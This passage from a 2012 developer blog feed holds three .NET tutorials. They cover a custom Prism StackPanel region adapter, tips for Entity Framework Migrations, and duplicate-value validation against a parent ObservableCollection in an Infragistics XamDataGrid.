<div style="background-color: #ffffff; max-height: 300px; overflow: auto; padding: 2px 5px;"><span style="color:#0000ff">public</span> <span style="color:#0000ff">class</span> <span style="color:#2b91af">StackPanelRegionAdapter</span> : <span style="color:#2b91af">RegionAdapterBase</span>&lt;<span style="color:#2b91af">StackPanel</span>&gt;<br /> {<br />     <span style="color:#0000ff">public</span> StackPanelRegionAdapter(<span style="color:#2b91af">IRegionBehaviorFactory</span> factory)<br />         : <span style="color:#0000ff">base</span>(factory)<br />     {</p>
<p>     }</p>
<p>     <span style="color:#0000ff">protected</span> <span style="color:#0000ff">override</span> <span style="color:#0000ff">void</span> Adapt(<span style="color:#2b91af">IRegion</span> region, <span style="color:#2b91af">StackPanel</span> regionTarget)<br />     {<br />         region.Views.CollectionChanged += (s, e) =&gt;<br />             {<br />                 <span style="color:#0000ff">if</span> (e.Action == <span style="color:#2b91af">NotifyCollectionChangedAction</span>.Add)<br />                 {<br />                     <span style="color:#0000ff">foreach</span> (<span style="color:#2b91af">FrameworkElement</span> element <span style="color:#0000ff">in</span> e.NewItems)<br />                     {<br />                         regionTarget.Children.Add(element);<br />                     }<br />                 }</p>
<p>                 <span style="color:#008000">//implement remove</span><br />             };<br />     }</p>
<p>     <span style="color:#0000ff">protected</span> <span style="color:#0000ff">override</span> <span style="color:#2b91af">IRegion</span> CreateRegion()<br />     {<br />         <span style="color:#0000ff">return</span> <span style="color:#0000ff">new</span> <span style="color:#2b91af">AllActiveRegion</span>();<br />     }<br /> }</div>
</p></div>
</p></div>
<p>Notice that there are two methods we need to implement. Adapt and CreateRegion.&#160; CreateRegion return the type of region we will need.&#160; In our case we want to support multiple views so we need to return an instance of an AllActiveRegion.&#160; If we only needed support for one view at a time we would return a SingleActiveRegion.&#160; The Adapt method is responsible for adapting the region to our control.&#160; This is where we will add and remove the views to or host control.</p>
<p>Now we simply have to tell Prism about our new RegionAdapter.&#160; We do this in the bootstrapper.&#160; Simply override the ConfigureRegionAdapterMappings method as follows:</p>
<div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px" id="scid:9ce6104f-a9aa-4a17-a79f-3a39532ebf7c:a055d5d5-0c63-4fe5-a67e-cd8a5b2b7ee3" class="wlWriterEditableSmartContent">
<div style="border: #000080 1px solid; color: #000; font-family: 'Courier New', Courier, Monospace; font-size: 10pt">
<div style="background-color: #ffffff; max-height: 300px; overflow: auto; padding: 2px 5px; white-space: nowrap"><span style="color:#0000ff">protected</span> <span style="color:#0000ff">override</span> Microsoft.Practices.Prism.Regions.<span style="color:#2b91af">RegionAdapterMappings</span> ConfigureRegionAdapterMappings()<br /> {<br />     <span style="color:#2b91af">RegionAdapterMappings</span> mappings = <span style="color:#0000ff">base</span>.ConfigureRegionAdapterMappings();<br />     mappings.RegisterMapping(<span style="color:#0000ff">typeof</span>(<span style="color:#2b91af">StackPanel</span>), Container.Resolve&lt;<span style="color:#2b91af">StackPanelRegionAdapter</span>&gt;());<br />     <span style="color:#0000ff">return</span> mappings;<br /> }</div>
</p></div>
</p></div>
<p>That’s it.&#160; Now you can use a StackPanel as a region host:</p>
<div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px" id="scid:9ce6104f-a9aa-4a17-a79f-3a39532ebf7c:acfd8aa2-6c0e-40af-8018-6d9021cfd008" class="wlWriterEditableSmartContent">
<div style="border: #000080 1px solid; color: #000; font-family: 'Courier New', Courier, Monospace; font-size: 10pt">
<div style="background-color: #ffffff; max-height: 300px; overflow: auto; padding: 2px 5px; white-space: nowrap"><span style="color:#a31515"></span><span style="color:#0000ff">&lt;</span><span style="color:#a31515">StackPanel</span><span style="color:#ff0000"> Orientation</span><span style="color:#0000ff">=&quot;Horizontal&quot;</span><br />            <span style="color:#ff0000"> prism</span><span style="color:#0000ff">:</span><span style="color:#ff0000">RegionManager.RegionName</span><span style="color:#0000ff">=&quot;MyRegion&quot; /&gt;</span></div>
</p></div>
</p></div>
<p>&#160;</p>
<p><a href="http://brianlagunas.com/downloads/source/prism-custom-region-adapter.zip">Download the sample application.</a></p>
<img src="http://feeds.feedburner.com/~r/ElegantCode/~4/tV6kMPW2ImE" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://elegantcode.com/2012/04/18/create-a-custom-prism-regionadapter/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		<feedburner:origLink>http://elegantcode.com/2012/04/18/create-a-custom-prism-regionadapter/?utm_source=rss&amp;utm_medium=rss&amp;utm_campaign=create-a-custom-prism-regionadapter</feedburner:origLink></item>
		<item>
		<title>Tips for Entity Framework Migrations</title>
		<link>http://feedproxy.google.com/~r/ElegantCode/~3/-kNigdGRk3o/</link>
		<comments>http://elegantcode.com/2012/04/12/entity-framework-migrations-tips/#comments</comments>
		<pubDate>Thu, 12 Apr 2012 21:26:55 +0000</pubDate>
		<dc:creator>Jarod Ferguson</dc:creator>
				<category><![CDATA[Esoterica]]></category>

		<guid isPermaLink="false">http://elegantcode.com/?p=5094</guid>
		<description><![CDATA[Migrations are very powerful. When they work it’s awesome, but when things go wrong trying to determine what happened can be extremely frustrating. I have spent quite a bit of time mastering a process that works well for me. Here are a few pointers I have learned along the way: &#160; 1 &#8211; Do not [...]]]></description>
			<content:encoded><![CDATA[<p>Migrations are very powerful. When they work it’s awesome, but when things go wrong trying to determine what happened can be extremely frustrating. I have spent quite a bit of time mastering a process that works well for me. Here are a few pointers I have learned along the way:</p>
<p>&#160;</p>
<h4>1 &#8211; Do not use Automatic Migrations</h4>
<p><a href="http://blogs.msdn.com/b/adonet/archive/2012/02/09/ef-4-3-automatic-migrations-walkthrough.aspx" target="_blank">Automatic Migrations</a> are fun for demos and quick proof of concepts, but have no place in a production application (use Code-based). Here are 3 main reasons not to use Automatic Migrations:</p>
<ol>
<li>An Automatic Migration cannot be uniquely identified, thus a ‘diff’ script cannot be generated between two migrations (to apply to other environments). </li>
<li>Automatic Migrations don’t show what changes are being applied to the database, nor provide a way to be individually backed out. </li>
<li>Automatic Migrations are applied using the same ‘Update-Database’ command that also runs the Code-Based migrations (side effect free!). When mixing Automatic and Code-based migrations a simple ‘Update-Database’ to run Code-based migrations may also generate Automatic ‘ghost’ scripts against the database. </li>
</ol>
<p><a href="http://elegantcode.com/wp-content/uploads/2012/04/image24.png"><img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://elegantcode.com/wp-content/uploads/2012/04/image_thumb24.png" width="600" height="205" /></a></p>
<p>&#160;</p>
<hr />
<h4>2 &#8211; Know the _MigrationHistory Table</h4>
<p>The _MigrationHistory Table provides metadata about the database. Most importantly it shows what migrations have been applied. At some point it may be necessary to manually remove records from here. By default it is a system table, but can be <a href="http://blog.oneunicorn.com/2012/02/27/code-first-migrations-making-__migrationhistory-not-a-system-table/" target="_blank">configured otherwise.</a> </p>
<p>&#160;</p>
<p><a href="http://elegantcode.com/wp-content/uploads/2012/04/image17.png"><img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://elegantcode.com/wp-content/uploads/2012/04/image_thumb17.png" width="590" height="238" /></a></p>
<p>&#160;</p>
<hr />
<h4>3 &#8211; Migrations are both ‘Up’ and ‘Down’</h4>
<p>Each migration has the concept of ‘Up’ and ‘Down’, where ‘Up’ applies the changes to the target database and ‘Down’ reverts them. Understanding what it takes for the schema <u>and data</u> to go ‘Down’ is just as important as ‘Up’. Think of it as a contingency plan, or insurance.</p>
<p>&#160;</p>
<p><a href="http://elegantcode.com/wp-content/uploads/2012/04/image18.png"><img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://elegantcode.com/wp-content/uploads/2012/04/image_thumb18.png" width="590" height="172" /></a><strong></strong></p>
<p>&#160;</p>
<hr />
<h4>4 &#8211; If you ‘re-scaffold’, make sure to undo first (Down)</h4>
<p>‘Re-scaffolding’ regenerates an existing migration with additional changes. </p>
<p>&#160;</p>
<p><a href="http://elegantcode.com/wp-content/uploads/2012/04/image19.png"><img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://elegantcode.com/wp-content/uploads/2012/04/image_thumb19.png" width="600" height="122" /></a></p>
<p>If the migration has already been applied to the database it must be backed out before re-scaffolding (by targeting the previous migration with Update-Database). If not backed out the re-scaffold will replace the migration with only the new changes and the database will be stuck (it wont be able to go ‘down’).</p>
<p>&#160;</p>
<hr />
<h4>5 – Never delete a Migration before backing it out (Down)</h4>
<p>A migration has ‘Down’ code in it (see 3). If deleted before the changes are undone the database will be stuck in an invalid state. This can get very problematic if subsequent migrations are added on top.</p>
<p>&#160;</p>
<hr />
<h4>6 &#8211; Understand the Relationships (and the Fluent API)</h4>
<p>Does this sound Greek? </p>
<p><a href="http://elegantcode.com/wp-content/uploads/2012/04/image20.png"><img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://elegantcode.com/wp-content/uploads/2012/04/image_thumb20.png" width="561" height="136" /></a></p>
<p>It did to me. However, taking a database beyond ‘Blogs and Posts’ requires intimate knowledge of the Fluent API in order to <a href="http://msdn.microsoft.com/en-us/library/hh295843(v=vs.103).aspx" target="_blank">configure the correct relationship</a>. Learn it.</p>
<p>&#160;</p>
<hr />
<h4>7 &#8211; Look at the Migration code</h4>
<p>What!? It’s not perfect? Nope, it is not. I make changes to the generated code <u>all the time</u>. Sometimes it is just flat out wrong or misses things.</p>
<p><a href="http://elegantcode.com/wp-content/uploads/2012/04/image21.png"><img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://elegantcode.com/wp-content/uploads/2012/04/image_thumb21.png" width="584" height="263" /></a></p>
<p>&#160;</p>
<hr />
<h4>8 -Tear all the way down, and then back up</h4>
<p>Frequently check to make sure the database changes are in sync and healthy. One way to do this is by tearing all the way down to Migration ‘0’, and the doing an ‘Update-Database’ to bring it current. A unit test works great to automate this.</p>
<p><a href="http://elegantcode.com/wp-content/uploads/2012/04/image22.png"><img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://elegantcode.com/wp-content/uploads/2012/04/image_thumb22.png" width="590" height="324" /></a></p>
<p>&#160;</p>
<hr />
<h4>9 &#8211; Relax</h4>
<p>Learning Migrations can be a frustrating time suck. Don’t punch your monitor. Instead take a breather and relax, then come back to it. It is an investment, but when mastered it will pay dividends to your team and process.</p>
<p>&#160;</p>
<p><a href="http://elegantcode.com/wp-content/uploads/2012/04/image25.png"><img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://elegantcode.com/wp-content/uploads/2012/04/image_thumb25.png" width="590" height="324" /></a></p>
<img src="http://feeds.feedburner.com/~r/ElegantCode/~4/-kNigdGRk3o" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://elegantcode.com/2012/04/12/entity-framework-migrations-tips/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		<feedburner:origLink>http://elegantcode.com/2012/04/12/entity-framework-migrations-tips/?utm_source=rss&amp;utm_medium=rss&amp;utm_campaign=entity-framework-migrations-tips</feedburner:origLink></item>
		<item>
		<title>Validate a Property Against a Parent Collection</title>
		<link>http://feedproxy.google.com/~r/ElegantCode/~3/2oXYbn2JlOw/</link>
		<comments>http://elegantcode.com/2012/04/11/validate-a-property-against-a-parent-collection/#comments</comments>
		<pubDate>Thu, 12 Apr 2012 00:34:53 +0000</pubDate>
		<dc:creator>Brian Lagunas</dc:creator>
				<category><![CDATA[Silverlight]]></category>
		<category><![CDATA[WPF]]></category>
		<category><![CDATA[Infragistics]]></category>
		<category><![CDATA[Validation]]></category>
		<category><![CDATA[XamDataGrid]]></category>

		<guid isPermaLink="false">http://elegantcode.com/?p=5076</guid>
		<description><![CDATA[I was monitoring my Twitter feed, like I always do, and saw a tweet come through asking about how to validate an object’s property against it’s parent ObservableCollection in the Infragistics XamDataGrid.&#160; What this person was trying to accomplish was to validate a duplicate item in his data source.&#160; They have a POCO object the [...]]]></description>
			<content:encoded><![CDATA[<p>I was monitoring my Twitter feed, like I always do, and saw a tweet come through asking about how to validate an object’s property against it’s parent ObservableCollection in the <a href="http://www.infragistics.com/" target="_blank">Infragistics</a> XamDataGrid.&#160; What this person was trying to accomplish was to validate a duplicate item in his data source.&#160; They have a POCO object the implements the IDataErrorInfo interface, and an ObservableColletion&lt;POCO&gt; as the data source.&#160; They want to check the ObservableCollection&lt;POCO&gt; for a pre-existing item whenever a property value in a POCO changes.&#160; Obviously this is not a XamDataGrid issue, but rather an object design issue.&#160; So I decided to whip up a quick and dirty solution to solve this particular issue.</p>
<p>The approach I am going to take is to simply keep track of the parent collection from within the POCO object itself.&#160; I really like interfaces, so I started out by defining a simple interface my POCOs will implement.</p>
<div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px" id="scid:9ce6104f-a9aa-4a17-a79f-3a39532ebf7c:529a9bc1-603c-4055-8ca9-4d919906a746" class="wlWriterEditableSmartContent">
<div style="border: #000080 1px solid; color: #000; font-family: 'Courier New', Courier, Monospace; font-size: 10pt">
<div style="background-color: #ffffff; max-height: 300px; overflow: auto; padding: 2px 5px;"><span style="color:#0000ff">public</span> <span style="color:#0000ff">interface</span> <span style="color:#2b91af">IHasParent</span><br /> {<br />     <span style="color:#0000ff">object</span> Parent { <span style="color:#0000ff">get</span>; <span style="color:#0000ff">set</span>; }<br /> }</div>
</p></div>
</p></div>
<p>Now let’s take a look at the simple POCO I will be using in this example.</p>
<div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px" id="scid:9ce6104f-a9aa-4a17-a79f-3a39532ebf7c:65d4cc86-7400-4989-b8ee-b7a14c796860" class="wlWriterEditableSmartContent">
<div style="border: #000080 1px solid; color: #000; font-family: 'Courier New', Courier, Monospace; font-size: 10pt">
<div style="background-color: #ffffff; max-height: 400px; overflow: auto; padding: 2px 5px;"><span style="color:#0000ff">public</span> <span style="color:#0000ff">class</span> <span style="color:#2b91af">Person</span> : <span style="color:#2b91af">INotifyPropertyChanged</span>, <span style="color:#2b91af">IDataErrorInfo</span><br /> {<br />     <span style="color:#0000ff">private</span> <span style="color:#0000ff">string</span> _firstName;<br />     <span style="color:#0000ff">public</span> <span style="color:#0000ff">string</span> FirstName<br />     {<br />         <span style="color:#0000ff">get</span> { <span style="color:#0000ff">return</span> _firstName; }<br />         <span style="color:#0000ff">set</span><br />         {<br />             _firstName = <span style="color:#0000ff">value</span>;<br />             OnPropertyChanged(<span style="color:#a31515">&quot;FirstName&quot;</span>);<br />         }<br />     }</p>
<p>     <span style="color:#0000ff">private</span> <span style="color:#0000ff">string</span> _lastName;<br />     <span style="color:#0000ff">public</span> <span style="color:#0000ff">string</span> LastName<br />     {<br />         <span style="color:#0000ff">get</span> { <span style="color:#0000ff">return</span> _lastName; }<br />         <span style="color:#0000ff">set</span><br />         {<br />             _lastName = <span style="color:#0000ff">value</span>;<br />             OnPropertyChanged(<span style="color:#a31515">&quot;LastName&quot;</span>);<br />         }<br />     }</p>
<p>     <span style="color:#0000ff">public</span> <span style="color:#0000ff">event</span> <span style="color:#2b91af">PropertyChangedEventHandler</span> PropertyChanged;<br />     <span style="color:#0000ff">protected</span> <span style="color:#0000ff">void</span> OnPropertyChanged(<span style="color:#0000ff">string</span> propertyName)<br />     {<br />         <span style="color:#0000ff">var</span> handler = PropertyChanged;<br />         <span style="color:#0000ff">if</span> (handler != <span style="color:#0000ff">null</span>)<br />             handler(<span style="color:#0000ff">this</span>, <span style="color:#0000ff">new</span> <span style="color:#2b91af">PropertyChangedEventArgs</span>(propertyName));<br />     }</p>
<p>     <span style="color:#0000ff">public</span> <span style="color:#0000ff">string</span> <span style="color:#0000ff">this</span>[<span style="color:#0000ff">string</span> columnName]<br />     {<br />         <span style="color:#0000ff">get</span><br />         {<br />             <span style="color:#0000ff">if</span> (columnName == <span style="color:#a31515">&quot;FirstName&quot;</span>)<br />             {<br />                 <span style="color:#0000ff">if</span> (<span style="color:#2b91af">String</span>.IsNullOrWhiteSpace(FirstName))<br />                     <span style="color:#0000ff">return</span> <span style="color:#a31515">&quot;First name cannot be empty&quot;</span>;<br />             }</p>
<p>             <span style="color:#0000ff">if</span> (columnName == <span style="color:#a31515">&quot;LastName&quot;</span>)<br />             {<br />                 <span style="color:#0000ff">if</span> (<span style="color:#2b91af">String</span>.IsNullOrWhiteSpace(LastName))<br />                     <span style="color:#0000ff">return</span> <span style="color:#a31515">&quot;Last name cannot be empty&quot;</span>;<br />             }</p>
<p>             <span style="color:#0000ff">return</span> <span style="color:#2b91af">String</span>.Empty;<br />         }<br />     }</p>
<p>     <span style="color:#0000ff">public</span> <span style="color:#0000ff">string</span> Error<br />     {<br />         <span style="color:#0000ff">get</span> { <span style="color:#0000ff">return</span> <span style="color:#2b91af">String</span>.Empty; }<br />     }<br /> }</div>
</p></div>
</p></div>
<p>Notice that we implement both the INotifyPropertyChanged interfaces as well as the IDataErrorInfo interface.&#160; The Next thing we need is a custom ObservableCollection to use as our data source.</p>
<div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px" id="scid:9ce6104f-a9aa-4a17-a79f-3a39532ebf7c:ff50d463-15c6-485f-985c-156a77efe0ab" class="wlWriterEditableSmartContent">
<div style="border: #000080 1px solid; color: #000; font-family: 'Courier New', Courier, Monospace; font-size: 10pt">
<div style="background-color: #ffffff; max-height: 300px; overflow: auto; padding: 2px 5px;"><span style="color:#0000ff">public</span> <span style="color:#0000ff">class</span> <span style="color:#2b91af">HasParentObservableCollection</span>&lt;T&gt; : <span style="color:#2b91af">ObservableCollection</span>&lt;T&gt;<br /> {<br />     <span style="color:#0000ff">protected</span> <span style="color:#0000ff">override</span> <span style="color:#0000ff">void</span> InsertItem(<span style="color:#0000ff">int</span> index, T item)<br />     {<br />         <span style="color:#008000">//set the parent object when a new item is added to our collection</span><br />         <span style="color:#0000ff">if</span> (item != <span style="color:#0000ff">null</span> &amp;&amp; item <span style="color:#0000ff">is</span> <span style="color:#2b91af">IHasParent</span>)<br />             (item <span style="color:#0000ff">as</span> <span style="color:#2b91af">IHasParent</span>).Parent = <span style="color:#0000ff">this</span>;</p>
<p>         <span style="color:#0000ff">base</span>.InsertItem(index, item);<br />     }<br /> }</div>
</p></div>
</p></div>
<p>Notice that we are casting our item as the IHasParent interface and setting the Parent property accordingly.&#160; The next thing we need to do is have our POCO class implement the IHasPerson interface.</p>
<div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px" id="scid:9ce6104f-a9aa-4a17-a79f-3a39532ebf7c:86290b0b-8cad-4705-9067-dff871c468c6" class="wlWriterEditableSmartContent">
<div style="border: #000080 1px solid; color: #000; font-family: 'Courier New', Courier, Monospace; font-size: 10pt">
<div style="background-color: #ffffff; max-height: 500px; overflow: auto; padding: 2px 5px;"><span style="color:#0000ff">public</span> <span style="color:#0000ff">class</span> <span style="color:#2b91af">Person</span> : <span style="color:#2b91af">INotifyPropertyChanged</span>, <span style="color:#2b91af">IDataErrorInfo</span>, <span style="color:#2b91af">IHasParent</span><br /> {<br />     <span style="color:#0000ff">public</span> <span style="color:#0000ff">object</span> Parent { <span style="color:#0000ff">get</span>; <span style="color:#0000ff">set</span>; }</p>
<p>     <span style="color:#0000ff">private</span> <span style="color:#0000ff">string</span> _firstName;<br />     <span style="color:#0000ff">public</span> <span style="color:#0000ff">string</span> FirstName<br />     {<br />         <span style="color:#0000ff">get</span> { <span style="color:#0000ff">return</span> _firstName; }<br />         <span style="color:#0000ff">set</span><br />         {<br />             _firstName = <span style="color:#0000ff">value</span>;<br />             OnPropertyChanged(<span style="color:#a31515">&quot;FirstName&quot;</span>);<br />         }<br />     }</p>
<p>     <span style="color:#0000ff">private</span> <span style="color:#0000ff">string</span> _lastName;<br />     <span style="color:#0000ff">public</span> <span style="color:#0000ff">string</span> LastName<br />     {<br />         <span style="color:#0000ff">get</span> { <span style="color:#0000ff">return</span> _lastName; }<br />         <span style="color:#0000ff">set</span><br />         {<br />             _lastName = <span style="color:#0000ff">value</span>;<br />             OnPropertyChanged(<span style="color:#a31515">&quot;LastName&quot;</span>);<br />         }<br />     }</p>
<p>     <span style="color:#0000ff">public</span> <span style="color:#0000ff">event</span> <span style="color:#2b91af">PropertyChangedEventHandler</span> PropertyChanged;<br />     <span style="color:#0000ff">protected</span> <span style="color:#0000ff">void</span> OnPropertyChanged(<span style="color:#0000ff">string</span> propertyName)<br />     {<br />         <span style="color:#0000ff">var</span> handler = PropertyChanged;<br />         <span style="color:#0000ff">if</span> (handler != <span style="color:#0000ff">null</span>)<br />             handler(<span style="color:#0000ff">this</span>, <span style="color:#0000ff">new</span> <span style="color:#2b91af">PropertyChangedEventArgs</span>(propertyName));<br />     }</p>
<p>     <span style="color:#0000ff">public</span> <span style="color:#0000ff">string</span> <span style="color:#0000ff">this</span>[<span style="color:#0000ff">string</span> columnName]<br />     {<br />         <span style="color:#0000ff">get</span><br />         {<br />             <span style="color:#0000ff">if</span> (columnName == <span style="color:#a31515">&quot;FirstName&quot;</span>)<br />             {<br />                 <span style="color:#0000ff">if</span> (<span style="color:#2b91af">String</span>.IsNullOrWhiteSpace(FirstName))<br />                     <span style="color:#0000ff">return</span> <span style="color:#a31515">&quot;First name cannot be empty&quot;</span>;<br />             }</p>
<p>             <span style="color:#0000ff">if</span> (columnName == <span style="color:#a31515">&quot;LastName&quot;</span>)<br />             {<br />                 <span style="color:#0000ff">if</span> (<span style="color:#2b91af">String</span>.IsNullOrWhiteSpace(LastName))<br />                     <span style="color:#0000ff">return</span> <span style="color:#a31515">&quot;Last name cannot be empty&quot;</span>;</p>
<p>                 <span style="color:#0000ff">if</span> (Parent != <span style="color:#0000ff">null</span> &amp;&amp; Parent <span style="color:#0000ff">is</span> <span style="color:#2b91af">IList</span>&lt;<span style="color:#2b91af">Person</span>&gt;)<br />                 {<br />                     <span style="color:#0000ff">var</span> list = (<span style="color:#2b91af">IList</span>&lt;<span style="color:#2b91af">Person</span>&gt;) Parent;<br />                     <span style="color:#0000ff">if</span> (list.Count(x =&gt; x.LastName == LastName) &gt; 1)<br />                         <span style="color:#0000ff">return</span> <span style="color:#a31515">&quot;This last name already exists.  Please use a different last name.&quot;</span>;<br />                 }<br />             }</p>
<p>             <span style="color:#0000ff">return</span> <span style="color:#2b91af">String</span>.Empty;<br />         }<br />     }</p>
<p>     <span style="color:#0000ff">public</span> <span style="color:#0000ff">string</span> Error<br />     {<br />         <span style="color:#0000ff">get</span> { <span style="color:#0000ff">return</span> <span style="color:#2b91af">String</span>.Empty; }<br />     }<br /> }</div>
</p></div>
</p></div>
<p>Notice how we implemented the check for a duplicate last name.&#160; We simply checked to make sure we are dealing with the LastName property.&#160; Then we cast the Parent as an IList&lt;Person&gt; so that we can perform a simply LINQ query against it.&#160; We check the parent collection for any results that match the LastName property.&#160; If more than one is returned we have a duplicate.</p>
<p>So let’s test this baby using the XamDataGrid as the original poster was attempting to do.&#160; First create our UI.</p>
<div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px" id="scid:9ce6104f-a9aa-4a17-a79f-3a39532ebf7c:5111c8ca-8ea5-4792-a525-912591885c8c" class="wlWriterEditableSmartContent">
<div style="border: #000080 1px solid; color: #000; font-family: 'Courier New', Courier, Monospace; font-size: 10pt">
<div style="background-color: #ffffff; max-height: 300px; overflow: auto; padding: 2px 5px;"><span style="color:#a31515"></span><span style="color:#0000ff">&lt;</span><span style="color:#a31515">igDP</span><span style="color:#0000ff">:</span><span style="color:#a31515">XamDataGrid</span><span style="color:#ff0000"> Name</span><span style="color:#0000ff">=&quot;xamDataGrid1&quot;&gt;</span><br />     <span style="color:#a31515"></span><span style="color:#0000ff">&lt;</span><span style="color:#a31515">igDP</span><span style="color:#0000ff">:</span><span style="color:#a31515">XamDataGrid.FieldLayouts</span><span style="color:#0000ff">&gt;</span><br />         <span style="color:#a31515"></span><span style="color:#0000ff">&lt;</span><span style="color:#a31515">igDP</span><span style="color:#0000ff">:</span><span style="color:#a31515">FieldLayout</span><span style="color:#0000ff">&gt;</span><br />             <span style="color:#a31515"></span><span style="color:#0000ff">&lt;</span><span style="color:#a31515">igDP</span><span style="color:#0000ff">:</span><span style="color:#a31515">Field</span><span style="color:#ff0000"> Name</span><span style="color:#0000ff">=&quot;FirstName&quot;</span><span style="color:#ff0000"> Label</span><span style="color:#0000ff">=&quot;First Name&quot; /&gt;</span><br />             <span style="color:#a31515"></span><span style="color:#0000ff">&lt;</span><span style="color:#a31515">igDP</span><span style="color:#0000ff">:</span><span style="color:#a31515">Field</span><span style="color:#ff0000"> Name</span><span style="color:#0000ff">=&quot;LastName&quot;</span><span style="color:#ff0000"> Label</span><span style="color:#0000ff">=&quot;Last Name&quot; /&gt;</span><br />         <span style="color:#a31515"></span><span style="color:#0000ff">&lt;/</span><span style="color:#a31515">igDP</span><span style="color:#0000ff">:</span><span style="color:#a31515">FieldLayout</span><span style="color:#0000ff">&gt;</span><br />     <span style="color:#a31515"></span><span style="color:#0000ff">&lt;/</span><span style="color:#a31515">igDP</span><span style="color:#0000ff">:</span><span style="color:#a31515">XamDataGrid.FieldLayouts</span><span style="color:#0000ff">&gt;</span><br />     <span style="color:#a31515"></span><span style="color:#0000ff">&lt;</span><span style="color:#a31515">igDP</span><span style="color:#0000ff">:</span><span style="color:#a31515">XamDataGrid.FieldLayoutSettings</span><span style="color:#0000ff">&gt;</span><br />         <span style="color:#a31515"></span><span style="color:#0000ff">&lt;</span><span style="color:#a31515">igDP</span><span style="color:#0000ff">:</span><span style="color:#a31515">FieldLayoutSettings</span><span style="color:#ff0000"> AddNewRecordLocation</span><span style="color:#0000ff">=&quot;OnTop&quot;</span><br />                                  <span style="color:#ff0000"> AllowAddNew</span><span style="color:#0000ff">=&quot;True&quot;</span> <br />                                  <span style="color:#ff0000"> AutoGenerateFields</span><span style="color:#0000ff">=&quot;False&quot;</span> <br />                                  <span style="color:#ff0000"> SupportDataErrorInfo</span><span style="color:#0000ff">=&quot;RecordsAndCells&quot;</span> <br />                                  <span style="color:#ff0000"> DataErrorDisplayMode</span><span style="color:#0000ff">=&quot;Highlight&quot; /&gt;</span><br />     <span style="color:#a31515"></span><span style="color:#0000ff">&lt;/</span><span style="color:#a31515">igDP</span><span style="color:#0000ff">:</span><span style="color:#a31515">XamDataGrid.FieldLayoutSettings</span><span style="color:#0000ff">&gt;</span><br /> <span style="color:#a31515"></span><span style="color:#0000ff">&lt;/</span><span style="color:#a31515">igDP</span><span style="color:#0000ff">:</span><span style="color:#a31515">XamDataGrid</span><span style="color:#0000ff">&gt;</span></div>
</p></div>
</p></div>
<p>Next let’s hook up some data to this bad boy:</p>
<div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px" id="scid:9ce6104f-a9aa-4a17-a79f-3a39532ebf7c:7d3714c7-ca40-46b3-a0a9-35ac8e656685" class="wlWriterEditableSmartContent">
<div style="border: #000080 1px solid; color: #000; font-family: 'Courier New', Courier, Monospace; font-size: 10pt">
<div style="background-color: #ffffff; max-height: 300px; overflow: auto; padding: 2px 5px;"><span style="color:#0000ff">public</span> MainWindow()<br /> {<br />     InitializeComponent();</p>
<p>     <span style="color:#0000ff">var</span> people = <span style="color:#0000ff">new</span> <span style="color:#2b91af">HasParentObservableCollection</span>&lt;<span style="color:#2b91af">Person</span>&gt;();<br />     people.Add(<span style="color:#0000ff">new</span> <span style="color:#2b91af">Person</span>(){ FirstName = <span style="color:#a31515">&quot;Brian&quot;</span>, LastName = <span style="color:#a31515">&quot;Lagunas&quot;}</span>);<br />     xamDataGrid1.DataSource = people;<br /> }</div>
</p></div>
</p></div>
<p>Now let’s run the app, type a duplicate last name, and see what we get.</p>
<p><a href="http://elegantcode.com/wp-content/uploads/2012/04/collection_validated.jpg"><img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="collection_validated" border="0" alt="collection_validated" src="http://elegantcode.com/wp-content/uploads/2012/04/collection_validated_thumb.jpg" width="644" height="315" /></a></p>
<p>Cool. Works as expected.&#160; Now there are a number of ways to accomplish this task.&#160; There are even frameworks out there that have already solved this problem for you such as <a href="http://www.lhotka.net/cslanet/" target="_blank">CSLA</a>.&#160; I hope this simple approach helps you find a solution that works for you.</p>
<p><a href="http://brianlagunas.com/wp-content/uploads/2012/04/validatepropertyagainstparentcollection.zip">Download the Source.</a></p>
